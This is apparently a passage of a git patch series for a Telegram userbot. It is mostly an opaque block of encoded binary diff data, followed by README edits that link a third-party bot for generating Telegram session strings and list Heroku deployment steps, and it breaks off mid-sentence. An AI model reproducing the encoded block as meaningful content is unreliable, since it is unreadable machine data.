zs$W}GyaA>ISQHlUC<|Fh5K^_(;0KRu`tN%`|NW0EPyI(%pRlTT8>{}wn*68k7cB3y zM-5NaZrXo@$Z7B1d_8ClJPU%w@geoVc)ZI?T)=p&sKj_+O++3Lf$T)NX>59nzm_g1SduI$N|R*Oj+r z_-mIw6TqV;s|S^RX4|@cb-!6@fF7+{cfCH~-S-0C-DCBGF!9=$GcQ+d;(oSOKBY>J z{F?upa7pZ16A<*TBTxR+qn-N~LM82ey;B=Cxs^bB)47B-R68%$Xt2Bse5bxh+=biG zpMhtI>20Q@x3_NcdP;m9CYR);@C$46*+MT)NnsRr+EI_@NhJ?Izjk(lFc=*=cD;pTdCUpC)`|Nr@nHAijN^)mEMSlc7UgZSz1>dl~Px1l$i?=5}h z&vTV;E+4=XSZ};%xh(I+-;dQp3XkKqrG?b?ORy|{z0wb`~}OaVd?h29(zA|+5$m#U^W8_4DdG27gF zik46L?xaBx69PLv=NTAkAdp-q#`QP!X2JZb z>CM)7D)o5y{p9+f=n^fCH44uNm@*3V`U>c^L*nEq-i$qpE&G)*e@l zihq0pI`Q!{-`mtD9vHn~g`dV3vW05EL)sH_1{ft8B%#rO)8( zZG*l{_{<2*=y7MbmH)@e-B?9m#>p^t8V*`TDo z$16fB!17k*a-3vP76`@ES(S2c#Yu=AeO>Km|!Qw4Yu4*9zr43mTmE*DeL&Z+?O7E%FllbWtY|1{fpYSF2A6^G4GvsEcrd3@_w;P zU?;#QC}**&UUB2tFH8P%C=*H3{EPeCkz_FB!O~GTkHGp2=tg*EY&zfx=o~9SC@mn% z?X(=8YfO@d=YHd~lb&>QvCK}9sYp0=BhhTxa)79o@CB-E+49*%RYbH?58+0yd{)S? zB7dTgG5d?pgj%Eg(+1@N2X1a3#`BkTqtNCB2R`>0Lb@=-B=^6{mxX^CJkbU@B zUs5V8HVYj?eN2v2-NUv@R;&8EuYuNBV`QMcARV}i|5tPQZ{nxL{c_1mHE*7aIrZoG z_f>NFKUebd%XF87o@;|&o?Vr93Hg<(=1vg066GV5`m)kiIf5G@?wcp}RObAn9Ey<5S!}z|YXc!~g5pBA_fqsc6c-8?>P*2nXjKn~*hlOK{%|2|kd7y`J&31$ zA=>hzE`C5tU)Rg{b~YL(Lil6tbzm!Qsf=>QG;f-72SQ1*>Sm@BE;A}jpcp+gur*Mb zy3#UUwd)P*fc^zRoCX0vup0rCaN`4TuF)sXHK7?H=?hXwZcZzjj|iV>|CW$g6R2dt z?2vU@1Qt<{MP!PpaG1HL^=`Ry+J1<<8J}Og_gL%vW79t7U$C%`3g$Fvo_1%GrMnL= zA2&O(OzmA(YtDqFNA@hq8FKYMAzIN8U5#J z{@zRF&ibrtaWQ|gUYqilScB7lMpMu4wZrfCryo$Z^13%}!`Zarnx5A(lwc<_O8NyJ|z3x%% zUYke?kB(RuR0o42FE3~_RsoDlKy5^XJ>@=z#!(5UNQv}#RZMQA!Eh?v=4$t=m5!bd zK5$*dM{@S)-99BxkKV21wb$I=Sq><*;$v~Q3Q-PL9C;7TR3G6l zT4d;j7hJ3jeG~$J6Fy$Z)=f%)UVO%#V+q$xd9mVKV*~s_natlAmsuw*#Q}N1v-hy{ zkW^r0lNBD6f<)#YfJib*?&lw12h__G2O20mD=L^FRy-g8x&eS*BI-(75b1o7hzqO~ z0IeNvvm?<#Kmhg*>52W|eevncKi=8pf7%iJ%2sc16<}mCd;r)%i5!FzfaFXck50DY zg)!8>;|{_QK5rom&yU;svYiMVAEZMH;FY<1izV02OC%cTd3Me3sGNlkWeU4y!FE_NMpW z>`;WUc{W?sHc}S|%OU;1WAK7xrN{D@RAbq4)9Q8Mw~%8l*Rhb_ zE||8j<;y|c^4XiVl_#Wp75W~}frQcEJyuiL!JdBzC?Vvg#GMA73%n^rasEZdXNO|f zNymd+2>pnGOW-OH#00qIN{6z*7YS;Z!W^KB%XgpIwDqhSbU;B#sKCUR7D*c){!B8g{icN zGsS|=JOdTfS=+(c0qnYcBujttfWL&0A?^ZUSPq=M}t+R+zX_8 zWl#tpeQweMn4jo8K;^OEde^8Q{&cO}Ha*rAwshM=u4_N0@!6MchW3X0kpNc9{esru z-LLs-cJH1Ab=_OkS@8?@(5J88RhRgycJ~7IA9+qNC&bgWfL%8k)^7NLWxDcc;DpKE zAgjE1=F}hwVnk>VBJnBDDlDfMH+VQP6Lc33NG&BQN6ODizMUhoC8P+Pn>C#ThR?`x zn1i`QIP_6-`IWMF%4RNW80a!uE}!8#|0e%@C(^NPE9JXz*Bt@xeY$7Qqw^zpFLoke z{-b;LTz<#SE-{qwaS|&BX4-EF_JwkzWx{ed#+f99#yZ#`Wc!IjCJw?I1fXV(^ow|E zH#bELDA-C(75>CX!krLJz$OI;!=MshBM=ZtdsI*W#cSicctoJeiy$%k7(E^S+uN`5 z^2yr9@(0Vx^om>ToVuyF{5`Os1-ITnopbxZW$3%*$Q;{@(yE**?bNWFwbd8K90h9o&64okb?YND7{k=R;`?Y*5%3@Xg z)ef_lOWcp%a+^WZx**PcuYDRKQgUJGLlk9ht?p(_P%tWhNvxU>fE-$(8)VRI%GD{b}cBMsbhkmseHr#v9;zgThF2BD- z+b1)z5?$|%HJEM0i8YvT%Qa|MZ4D5jgD@~P(`x}p1cW5(Sq5ReCg{ABxvDHfrT_S5 z%MjsNhT`Q5=1%ADvWBOB9XEKwJ-?j3qig%21wF+gWZu1S?TWQ$%r#Ia_9<-BZ~Oi= zooA*v=Jen4IM$$lf?R{aU3&K_(Q27%0KM1Dc?BHf5@Aa*V>|JA52#RO9=jmKV>cvU zRY-9CtaQ)loQDxwn-syNK>7J!MUyo`WOA;N`pOWh`%EFj@_Q)acPz6tO6io9X*A3c5e&C~&R z48TcL(*|Wv{;p@fy*jm59(-w&9+yb&Hw+KnEnBqh3~(P4oHa;}ph~X@YxLmDpwuKI@40Y< z3lRsJ5k8TbTx6b?+Ht%y9gWC%jF>0LL2wTc1X;GkHNhc}fm%mm-SB0iHSlOVN#1A{?TT>RH*-I^uk#I zAzL(CSQKcbcv_}LKKbkY9^Ug$R+XIjJq)9>|Fc(D$=_PvP1%@w?lu!XNW zO>7~_Exs`jg{4tNPQ*nSaDO-y4d%l{*p74zn7qJkhZ&>_Ay)g4mMYmZ6I}SizVIa`9;BjP z%9j7pnyq2|s?(1uSVbN7_7$KRPh0EA3U0BEm>BHEiI6-rJFO;gnpjPn4XcR&6Iw`- zU5X}&g%sIpNPR_2ZR4s>+BE~KdCNy}adW*NrJXQt^I2RRdM)h)jraB+r478{W7zwf z&XdA*i7QxJ=tCNPD?X?PXbasZyy>CK@`P#a*t9>-v#G3}5Bc+y*&;rN*cE%G{X0~( z>7w*h);m+1HS5v6S(j#=J9TJVkl(6h^CpcO*7voYhFaRm@SfeeYKnhh98#VsP2*KV z&$3LYwn!y7z&{|^A3CxQW(dD%4J81|0Qf)%3kqcZN)W^ca7b_KDnfR=t*b(6Ai8)v z)>Ra_790Y}r6}0D!}W!nYNRKCi{`M5yo{Vky+`hBkHt0LS!!8aXOqP>mn^Om zX4iHl%$`W*)+TqRvg`&+`GvYU&F-H!trJU~#yj?Gjw-RYXM`=N?{L&Fune&3^d<9} zyqh;&e(gxs*k;GC{_xDujk!%W z-g)BtFP>~Vre5>foic|{UpTVYz&Ka*;9esZ-8Zyur`oKeSo-YdK1;7B){Nrsf1CdW zztk!x2SD>L^1o&EqiSxi8GYfgHap&SHgq@|w0V0+o5wCdDOg~OJ@2Q;)ei0QTUl5nQ+Gwq41Dk9qX@T7eXmXpR3oT<4b|UBidF4? zEm*J}COPP^Sz$1GC|VXwrZ7bNql#*R0FwAe)qr?Rs~(C~55gYU0XwEW2*w|&BSdB( zKW|EI3jWF%eXCX_Fy@ZP91CY7E9?l_$n-Ka$)jU$-VjLTZy#k^ZfWsxRzGb>-jY2> zmQI*ctIU0*EOGX@<%f4KZE|N?^Coi&KH@*H_>ZR@%Wr+`-ixdj|Ng_ab8?NX3)t7+ zELgCBkF~rAZR$xcLVc%oh_TE!_dbB7Vts{=!S)o^FI9Qc34V_HL$zTIFl{ov>l*Bl ztdL*9nZ%G6KrUtwEv5pl;Ahk@{Az%J*o_+Y46&kiQlznpeo=t|Dwz|-2YWP(k@;1- zz<&Il9%LyRuibzs7J>gY3D;7h)DYH?X(`5Hb`B%5T) z4CMWM5pqkcGQ(Mea;TE6p)&iE$n;qck%MFeq>Nf-B)yMXfxAqYMFpgmz!#Y}XpR=t zsFv4rTC~mNHk80uAB*>yefRRkYzm-Gzv0|_2h{WHFoZ*n z9?2Jryj%a{`9RA2AI&G!Yd$vuN48+b_3- zxL^?;xeEEZ9{HT~fhkz9O}5ssEjD%_B)YGDr)n*;zP)KtG2V#&C2q7mT zylnO~oR_pboA{f9^j2x=5a#H}KYi-Rzxkz(EbScsS7(-T^3WG7tq>^=UpzejAV1C4 z9GZ8CO**vT5bMGx9GVB*3RBMOd$mVx<&a(;5PJ z?}^W~BWV=`sKg>?Eb)C&Ipzl6LsCVkKYb6m1^OCUaH%U%WG0!+kC>hKTJ#);IaBmB z+S0!y*+|U}XZ)gpdvE3+CdC#gF(c+1tEZYSFSJM>eu8L<#N>c>wm7T$VAF zrFNb=|Na(tWbq428rZhYyL(bt~Vo zFElYUF#!R}kr8;4S%s&LhYI6>Y(VaGrVi*89R?iCxDgo+-9KRF)Vw?Npx};e)Ua?{ zWD>{_^cSXQrXjnw-DWcoFz%O`9v_<=X!8$10A7vE)Ce>Ut5=ihQShY;dq@oPi(|Mi zBn8%DHEJ_h=)njRlu!k{0WfJgYP88%4trEaVnRxYEhxw@D7r?xbMyZ%gEIRJ#+eKK zUyo3Yt|1P4MmohrSP1M$R^>AyBYMVNI z_%vOe&?qOnK`-%%zQm`7{5_wK?g2iJy8GeV%AUCF$$GYxPrv#vMvrmhdKg*Fn`iNF zjPB#{bG>Hx*}w8<_aBu%|9{lIcVHI9^FO|Och5Z`5FmsQdPs-RQb zd+5Crdantc(5ncDR1t#GY={jN6%`N_6$>TLJ-^q?J0m$_xGb3XJ?J?^;UiRwnCa3l`JJazI{o0w1?(KFY6+#TVsd|OBt>1locU}r;}+bLPx4t z@>!sI@fJ4eXL_Sbs;yRVP%%WDEFV&~L;#dDtpj-@@JmE^nbL6OQ2l9%TA`kj%(Y~; zfw(!lO>7FR@gKg%R1?aM#wKuz_57BP-+^kw@E`)mqsRn{e;Cw#oJA&tVG}T%%Ob+m z2sOb^2KZT3tyTUB-5b>`0HBohka@>pyC~btf#~$u&g|uFd&qWdUd8l-7x#M$KQ}E3a<5O+3Yo82# zgO!5D^o`mF-}utWmb72S{Rzf?|G)9yz?vcZ8~;E1nXn@nwBhr9CQdKpJbos%zH+&5 z+`5(h75*US4K;8&J8K7KPMc;VxjZ+hqumBN5tj$QXy;&KTVYKL@b@hQJD(4NpS#aw zv_)ch1zQF&`X-+Z6;=}p=K_W5u^p5<8PhY*swS}0su^7*%;^LZq(v??78j7{UmZv|D(eJ}V$*0WW%g3os5K0CL8 zT|pAcl!l4eqCxqi;|6W2KgCKc3JUQD{Hu6xfjbJGD>|&Tl&#jwzT_|5%Pkl&=K0!- z6to4U4RZ&Wjb)Q^5#JD}XR2v6P$#cAxKeifCcF2Vxa>87aT^C*x|RKGyT{xF`FX-N z?CMBNv_G(Xv9Lu7ZSy$(OY=ngUx~@rXwASp*C$jrpsnI;6#3a{KXi@GFrMLY1f0jA zaiBkFafFS+u4QpJh{0wDA2%&D+sK!#oXWNol?Z%rNVXvSk8}7MP1%i}Xm_SE zIMb*K1jzFt%1ZlA|A#!?Wu~E8?mR~s-(;^}uN*S`WjXmJ)_%Xtl;_tQ&T;8B$0cnP z%IPm`rtKf?3}tfHU&M=|v4L95sK{K&yZF6SGn70kF>f$7irn+qGZfonKF!H!mpc$! zP0+ygZ8+2m;DJ9P3GiCPbMypz=fjF51VcgNp|>Sy( zeLe-TWywZEc6FF#V*O*KcEd=M$Nx6=wb;-zJGlaYxr`a%E81vY87_cEZJ3Dzp zAqSSoh5e$ua`vndhu;a;uggnBo8wcArzCh+43Qd(!FME&_l$e3FVYX*J(31dx>T$* zkixDJszcymdoFxZK)TBZoSl4dHZ-^e=T~?-1i)4kA|Fi4zJ5LX-o3#}>8}<0VPzb) zg)X-b)n;U_SdnS$QD#}d#rzoMfwq(2TYmUa7Zt5-*hl#yUVAA4Zrp$}1@N5%J zGUyIPVNu^!7|~HZJS5zDF$`uua}Nn7)Wjk5&!qZk3`)WAax)4(0&W(mJEmpZ?VKt!ocI5Qj=FuY*;U!qR_5Bdj7abZLww0%H|!r#HKE;8 zdqqeKv{&k8sJ-^$=S$FD7jk>OXFgZ^;V#8)BpL?({i}{gO0(A_&Y>}K*aNuQfq&4o z<`y*WQJmX=L-TP>?B&wO%UnQ5Pld?-)!p_V@Xsb6_vo^IFY7vzb} z0ZLV4HE%vv`pS>j=kzo;AakC(9Pe4luh28jCmj258j{OGP#&HFFdkuwOGXBa-7rF+ z^>Q%Q4D(6W4~!C=zFm2ueA1{v`{#4g=Wm~loi;)_w)%7PR?BZ7Pp(rfn`C+^fRT(F-(E<|d;~cfl(NM>{~hGP>BHlR!98jwCx0FwnGu-FJag3ul>WgASxDibN=HXn z$jQeHBZ3iToKoh!?c1->(y9S--YZY^eb=t-t2?CfuJcN{F0ER1T{EX_Ib~U`Lw9~S z+{*aDm@m5{4vY>L_HLSzVK}mlN0%HTI5_h69sX?w&7D8MHeqMMTFY9|@C|#Lu-4j) zd9=}1xN;>=F1a*M@*%`SuFa(l4x-J8WwFl-d%Q3x)$|}pnMF5Um)ym6G7B>q7qjZT z@Nuj3!cnwqli=KkuL7Yh^!IWWpMG_iY1oeC*^ zLfg@>0eWc+#v`z;LobD+anX2Wcb@S`52GXP*GHO0&NSh9(u6^eWwCxs0AlDjC5rJk zHrCPJd5mR#HJ{7R_&HXVo}D8II-F-$VXUzT=_D)}{GPpy-TkdOX>iq|Ere77MS;QT z9<&>ghI;5lXt?4UZ<0RB2Y*iVug-mTa2}a0Cw*&l8F$s|!o5{Smv5D;%J(@>G7A|( zDU_+|$R7E-&eHNl|HW%F1#lv_Yu4iSG!8)nQ8kNNfp&O#W08;|d(l~K7#NYq7mn7V z@rT9Pk%AC%X8}2C>+iEaJ7sLW%m-{ezGUop$Hy2fS7xgF=!`ApX%2$PQT@~hUw>o1 z(tLx)b65Cz6+F*Rd=;I{=gN;vcY?7&Uk`oihZCILt4f}|uY0T#F1##QhATm%IQ(A< zPKX%nS$U;19}0opjb8c888NzEj8S-MLZdrUU)ZF%LJrB6bB%EbL$^Eo={1XArlMp% zoeL%UyFEvudn3H%jE$Bu@Smh}jf*_*b?oM2C_8bOaqoy0G9Hv6UbETY-MJ3-J#phco{)9PN$gQ^CI>S}i=sY>N5X z1b4+9J5Pn?zhEn>!K9$!6p2Cw$@`epsEcNvQ$`ho3kqtTlq^T92*T71W0)Xk%qgjq zfrFRRy@~oLtTG_fdvxy45bcyU68-CUwwRZFgYcMUfU7*2xjiK$YV7%71Zvrh8|4Ad zP=2zua$3IeqHuoT%Ty3ZF%gI_r|EPa)8p6l0&=xT=1EmLzYjCsf8mMQTF@UkS%Q_B zsN7$@kR`c4vqit`6Hkuh`i2=2MkDRK{D@W3!H`#T1!(v|iO=~VZ-o@6nD?Qb z)wLCdKkSLQUfh&42{4;##XLo;X z!f%f+E?7I@t)7@DZ7)^&Q;Y=yFpQZ)gnTV{;LGA*IaO5|ve&{>`z_DR! zu!7wv7zSvKjbp~LjoUP3O`BIs$=3H|DH)klMX~&2AC!?C74z1wdp|0KxMfEJ0Rl*m9*0t0%{`k-m_})KYK5VPE(C@c~4_g`ZWAI%L zEGtDwaM|#{@Z!*d@Kdx>Y#DcX>*a@pQgKTbMR7}+#l;bS5M0{OoVVEKitBSFrt=9g zxPjM^X*Me(gUs;y30z<}Xi|ZdGxvyy~V{Wjhpu9MuHCyp%ASaz^Y`#Wcv zYI$NmZFBV3KIHLwbwu5BZ6?9#QLYiFjWnK8gnJcptZq){%+}8HgJRmVNc`AL%oYR8 zeUi9@=6f{O5;D2Jd53t2HH7Y158znd zymUZyQ z8GT_C*@}3)$5jtB-+oCw&>GGrt_RG$DUI4YPhDaBK(Tb6jUO;gAp96VP=EMr{Gf#L zbL6Z4%;PnTe+j4MwLCc2fwsq-?_DQtXY!x{bETc;c{Jap4dHD`3;< zYl?EHl!>Dtl#i)b=5l#c5lbb5<1Xwn%MUs$GM(j}be_$lXUte0L`M^o&S70lI++MX zbih8)Ao%-G+=aHbV#NdK6taN8;(@+}DEhi6CX2b{Ke{Mdw4b?S3d0n1tZ0WWcY2x$ z_+UVrYsN~=9etHQVzN?~6_gMU|2>@!2Jwq2g7`And7|`{Npgg-HOKhCcw5a;w8uGv z*Cj>Aoc(RjM~E1A?HxSH=$ z%_>?8Sx7V?+vZ!`M=P)@IC;(G)Nes|&m>-_GrS1l5}zUio5FA)bn(P6zh59`?VRfz~c-lj@xbxMw;_Z z+IGt{C!RDXZ5(USav5oEQ$31-VI@tE^OBT6iUH`8D?^8s7VT|?OO?PTF`Us%rxJVY zr>}|iE}Ye+U{^85lGq*Lj1&X|5YAIF4fix7z+{RQ8ir8LeKWi{gu(#@koLwo0MCb8 zRDBftJhhKB`rZ89`1Px|jQa?$yLSA7O1upsm@gEkTopRsUX`Nfx~N>jyR4$RXAzpk&<)hQ~>emO4+dF zjRL>?QwrUR4`9uA{mn z7cPGP=@otWhE-!S7H639vLEgBiT(t2c!BGAgm@&A%>GIyIqTVsagl{I-*Y{W==Z0Y z!tp1iV7X&FR+2jt&p?Fsd0y^JJS2A}o`H$E&n08~7Rel0ZMi)hXPKk+;F3AE@34MK zVOj<@$gQ8;G3J%BOqXd7!Wp9qR{qdF%sjl%=J1~Lcu%IHG%E5)b(Yu6;||i`8CQ$99v1QDIsjp5Xz9J`+R{yyUv zA$H~AyBRkGd^h8Uh!LTA`EH*1L3}sy3>35S@ZH1%zB};@^la@YkBNiM7GWH+gN%P6 zjvR_}!Z@t5gE;Jog?YOIvUHVY0CR2T%Yi(2cpk}T(_!9CybaGS1KZHwVm%eK42599 z-XT6_+_00=nkSy$az5Y0&$nS*8)Nkm;bd155u%cIz|32kXG&4My7V4o)Uwuc3~3)> zNEIO-qMb9HGMLMP8g|EQv0?m0c5%?rMTl^9+JU;Tj(rD;VcH?@j=H8S)WbMv3-Exh zo}BLBQc5TOMmlpux0ED;X{~Q0TS9njVA^uNQ(xofRgl*!R5qtA=R4&pK9Hh5_=)oa z;0p-b39aln9V&C#A#9;OuspzEf?b#t$sO87!`HBa(Q+NefwbDh!)~n5(fSQmndvwW zGD6+hC->hswi#Q0mHRUn8H0Y7DYEUa#=uQVroE3+A4ivEW-1fx?<&>pb3jiO*Z>eM z@qeL5VS3ylXchOUd>8ZY1*8c9d-@cc%4(~L+xPAM_AC1pf$*+xIxz6Y(zs{8B zj1h8)Q5PLOtX^6gctf$|Z4}`iVRJaXJ)Yzv2Dxk!wm|mxK-6}#GjW}|gdy=W)?f-A z6pV9@L+L~zGyJ!@KimHCJ;RXlC)v+f$0rF5S8PvO{e3a}fjv^GwR!ABEYgrp>52Gw ze{tNX#(2QA=~&+6GgO<~ikB!MMTwvirrIbFq1 zUI(M70N5Rk^$wn7JAEICB+Ny&(#S<~cAJ5tu#2ednV?Wb zdw9sWYZijYM=|b6xoArBoh^H>X>#?83|DCsl;xg23hRl%B9@}FR)PJTB5@-YHT$8u z$6eKQG=-4Tyi*-}g%ns1Q2=wt779`djG#>ubd)zO=(&%ZeinLEF9w@76#-8ASho$) zU1w%uPVHPPaIPL8FQdBCW;Z^f`;#j*7r+ zha--@QcFpETCdw^`O%v_uJn}?PItz^q2DX7c4^-MK}Thsnu$N1^v}v}TE9>*mX)N4 zcigpHN1au|e5-I|`4GfiCEr^diLAIKDaId-3vSG?g}~2^>I+o|$m^EoxCCPqEFsWu zT`#Dc8(4YovKefgH#$3a_?D4w4p1d}OX7fXcHXG7b9by*vX+igdSD+tY|H@JGI7*2 zE_ZOS)Qppx4|vJ6G0QTi%p9Md`SGO@+oQ`Ln%1CMH~H}!J+Ahh^Lj_bKDw=L*o!KV zBHD3VyN@Ac(9rU z!e9pCZB8a#!FF?%0fLA!@Mi4@SAiqk(bvmJL`CmMeQEI8?Fx@!I_P`oNyo zmE&Vaq>VM6=(50j-*xZOtHX`RO3J!<&9YkdUEcW9AJw$!$&FiPv}xYD+qyk#Tc?GV zp3tE=$ZcihsAP)>f-YZ8v*ZYDLdIX^N|r!7^EerujjlL*SQBBv#Z^cv>JSTv<;akt z=~RgbkVI}GrrRUxPNg9yucBhe7XRFr792kCUwlYoHb2+VL$t%)UGXp&`G-`IydOxy zCo(Q}@7A5GQ0KqOA`fy#4;womFziYN|9PX7q}8JvWh>({rp}l!H}m5w!*@iXuIDxw z99$w~X5(37mf4RXtZ8j@f~0pQ8h6!msO$fNAMl6zZ~1{*|KIrW{D=P+ew_Pg-0%@& zjk~h=wQqZL?c1SD@RhKl1A8jI#1HvKMw=F`yRO^4uJx$UGP8R0sNAlYUqG+eZml{Q zz1;keqM_ril{NqeiGwz{br;9Z5ybAs1O%%_Zl7-KTMfnV9aBdrFm!Nc#hZt_Nl1ii z`QO}N8TD^TsYBtVUk?R9aXw#w9p)H9&R^u#7^czQj0s3bFCkK^ue*^wQW!ea`6kz<^=_JfAXy0=!Z>J$x|H9Sco3wCIzW0q+Ha>#WtNjj?D(4k1JR9EcbD*?K6s*O|{&Z;h5iq7YxI5Tw4x~p&IUCrgO&Dd=i#ySN1^<*KV-+|>FDyD>JnYv?h{`2dfC~^S)35&tkTQ< zcYwL>|Vpl&H{eHk&{R-{x3I$1XF8YY)90@0e_C{BBKF-FGaHj$b^ zjS-86ot8@3D!w!&2|p})=<{j8uAtRfLesuWBNn$5d(@`QD2iRyKWEEM&8S}pEPERL zg7(K@l+zid9tS-*Yq8V09uxPuYLR4@&Ij8BJ5i8GqP;Su5q*Lp5{MufLHI&ia_Bhf25b?$t_z;r|33>%OuLs)N+{J0SF+3Y=!7TBnL(q9JQj9p< zpl;&QR}a4b{=vDZrc%YvMB*fQYeYjPeJYK_8*OZ95=fzu3Dw)ga-2#u9_{|w5>Uz zdV`U18?$81+mYYNnjwKJN(J7@h}`%C(Hx3#QggJO66_b_U$~I>^JgK1IEM}u&^GV^ zD>)2{(BBf#yjz`3?&uNW>*^MYXR1x+80EETh!x(cS^6pnf8g2R5X6`J`6`409$uL_ z4Oo|TzuezL@F}ZCj=S1v$ov0|Hs~ax4O073+MI)Is2{n@*r+Z*G|i69c^p%Q<@Mof zAWhw}Zk_!&NXwkpY-g)}E1P_F$Ejo2!=9-?P9w20g?PIaBFxBk6jvT|fk+wY(l@rm zGEg8z(LLpdDkZZL0_s?v#TTT|n*#oqG+xoE8za|R2(cN-4#lA0f@I$`r!Z!8I4z_c zW;X1GQ!Nx>cHDb$iWaLS{grD+-?)5u{X3_?;ZxrlhH-9j`nYr)GKlz3F&261{KCUW zb{;>erl4+^P*}`n6APzdL1rWYms6?|k;+FrN!#i09b&r#GRqnBfma^Y}5!2G}Kd)@`1}j5MG`ABMPL;n=}%rg;NvDLjJ@ z;E6fXgdxpYKC{}i2PDcbOuGea>n__tW$48(+5XXy@g%}N@qC$tXYYcOc26e${CWykIAFB+7UGxKw zCBOA|7an!E$Y4H@9gok*Ht}c&^n*@3x;nfL)e6=bs8;YE|3J$(ZXCnJUfG0b0gfgn zEskxNcR$oOx^WC^K^y=Mvf{YP<3)AP57woW7Ns~PYRcrc(~fA?8P*V-WjrfB!rG8o#}=aag0>IKCclHE~!y zafG>X+yai)P8_X0aplG`i^xJ*0i9zx@*h%Idl}(!>CP}>tS8B z6Wpfgym(ieGS|b>k%rd8sND^Ojg8xsuM5A4r>z@Ls+cExfH#Dvhm$uZ9zQ1@U8dG3 zXJRR5@`iBy%I%VALA#u6>L-tONw)8eI+c}ZLA$J6+~jX@#^JclExGa(lIoiY~N`89%~NF z6KcQGa=Qc`$V>{#WVTDHXWGkW_5-Bk zxWZlajgS&dAGOa{O0(>s)=i$5HhGS9T%68B^$()~)vY=_PyJ)>gZx@gLmIM)Q<`K) zj#;;k9HJ8W9Wjo}#Vms+p6=>6?4@EE%*O>mnpMV|av1E8;S}?ps8KtxoVv&+JR^*q zG!{Xc7&DE}gr^QnolbfnlULERn)+*~2cApZR}db^WNPldB8J9S*1z01 zhKaAZzofpx*?&85MkZ*XzQV*YY(Vb5g6Pn_O1g0j6*uzeFOtdS+*g=5hW5zYS1@0^ zXbccTWmboX&tITwg_)&$K4?n(C}L zmPynb_Zh%TGC9EPGpP1_NqDKx;19SKSw9U%xgFLxjL{N_UNJ^~BO5#Gkq>+$yeRiw z8be9a{gh?^kD-9kJ%%#z)NtcTl;LK%ArGGAzN_bR<4F_;F@j}1N0fQcLu-UgkL+qG zAZ<>1Y##i(OLAq>^Fp~Y>8bC=lPYe?mQFk^J@7>8MO-o=Q+p$z3h^lr2~h6A#zBii zA8q0woo>nR)b%^GyV^VM{JU#;+s6uHr}ibcSNNN9y%ox{hid`)44h|&{8OEMMhC_Z z{i%J)I>Y?7tHmpi&R75)o5MN--*Vepkw<3$kKUff$FiZb-frd@j{=WnAfFe~$eE^J zp7E%Oht>y8Jc%+W&-mEHL+2ovcoK1%((~hE6AyHui3fFSeNnkA1F2jl9@Op2%7wnr zi6<4~gy;K0lODSh5BkEM9z8bd7WJdI*Av`0x?5gYKbCL0f+^3uMgI+@W&YFaJ ztIa%16c1!)$QJbzG-Mz>Yp%Jv)=PDfILLz=cwZiU&UY*yj059^ukws3N*YB}#BN4D zow<&?TS6VZ%zPZZocWlvKo(6}z^@xTW+GZ#Vyr^adV9Fyi_uTrjGBnR%BXZ;2cW1A`vUvDIwWTx#WHo3Y;QRPn`?v( z+Xb*%;qsI#ifOW-AT;;}YKJP6!_Z*qQS}d5)~AQe)|$&+#+t)mw%80jeP4zLILO=1 zW!!LvvtdKN?8}HA7&~P93rMjGbPg4dK~L0k^kB(>@c;|{r(iKAU34o>3#1er2Wz!M z31La&j(N3%Lw@Z2e(@QWC1J-fk7QO+H{>u1tIV_IS+XI*Ttut1 zuzQclHpa;L*>VZ(jlxztImVceGD*=M=S)^ZK7JzkKkR)d5Az9~sjR_alDwGd{H=Vv zdBb^FsB`lM8PqCBXYNi4XoI#^ji?wa=g|d9cv-r;+?=6mOwRh89MCgQ2~Z-`Z?T6j z(xy{PShp+&fL!8ZNury~I3x<9I7LPB<1l83DyN48hsVtu-nH9^;oZ6oS4*T0AD&vf z!;qoS_o&w`SgHsTmqj>c3aD4a2ZA)1&$Vp#^9b`fy;r*-oi1#M@Aj&NVrfN)IFTq? zi&w=ETgjHqn>4Cdm(GLXShl4pj)J$Brnuw6H+r?L;+s4D;OT)-jE+} zTCoQ8*t$wbLBTYYKfl{FMX`?|F&x3bxnwBKIBo3m?kuJmxHisw<0^XYbImLqO3xWV z&p-D&zX-JC*sQrpqr<{RC(YZQH8*)oSlFnh^Rw(eS##%SWzC(pU7g)JIjL1jQc^4V zZtLWxty<&P(}wufnw~uxqP#Oi_L*{^ZhU;*{Zm^^+gB$cq0YW(>h!4x_D^d*b>F_J zIaibW^-FG%)W3gH3->SO$E1FJlba_E7?AYzlSC~IV;0oG6!i_+0J>cVf6TvkDdYKX zNE@npuviPZIEvbcu_1`3hmH!wc22DMla``{FVYIqF9bWmVr6;9O5<}Gu~G@gF6-HT zayC%oldfWq;-_wf%r&xkQ#=ClU30hUs@TE=Gq{-n+BcTGurXN4vU72jplH(<@3^`9w7AQ|FC!l*q z*$U%{pFngST5qv2%cL=;LxoEh7N5sA^k|>dT~wsj#&1Nvo&6`9;ck%?As~6s{N8$4s`|X zq1EDX2v$EaUzz5ZYD_izePgP#PbK}`9(7V)jIafRg!009b{;}yl??EAhAxDE2<^{v z$G@*%LVD$cBzxu4adHdJz0mW+#S=$niZTVHhH4@I0;;im`Jgpu&BzDtO2kXjhqT-MORE INFO HERE - # String Session (Hard Way) -## Repl (not recommended) - -[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) +## [Using the Bot](https://t.me/stringsessionbot) (Not Recommended) +[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) Simply clone the repository and run the main file: ```sh # Install Git First. From 38bc18932435aef41a4b241bd37041d4588a4edd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:17:04 +0530 Subject: [PATCH 229/838] Update README.md --- README.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/README.md b/README.md index 601d50ea..63cf7bc4 100644 --- a/README.md +++ b/README.md @@ -83,6 +83,19 @@ send /id and get the group's ID # +# After Deploying Steps + +## 1) Turn Heroku Dynos ON +Dynos are used on heroku. On free accounts You will get 600 free dyno hours. When you link your CC you will get aditional 400 dyno for free. + +Ater Building app is completed.. Goto [Heroku](dashboad.heroku.com), Select your app and goto *Resources Tab*. +Then turn * worker bash start.sh * to ON + +## 2) Check you logs +Chack Heroku logs then.. If you done any mistakes they will shown there. + +## 3) Goto telegram and check your Superpowers +Goto telegram and send .help to see the help of your Userbot From 8469a828a32f24d0b7a10bc2d007cc8e21453183 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:20:59 +0530 Subject: [PATCH 230/838] Update README.md --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index 63cf7bc4..0735092e 100644 --- a/README.md +++ b/README.md @@ -97,8 +97,18 @@ Chack Heroku logs then.. If you 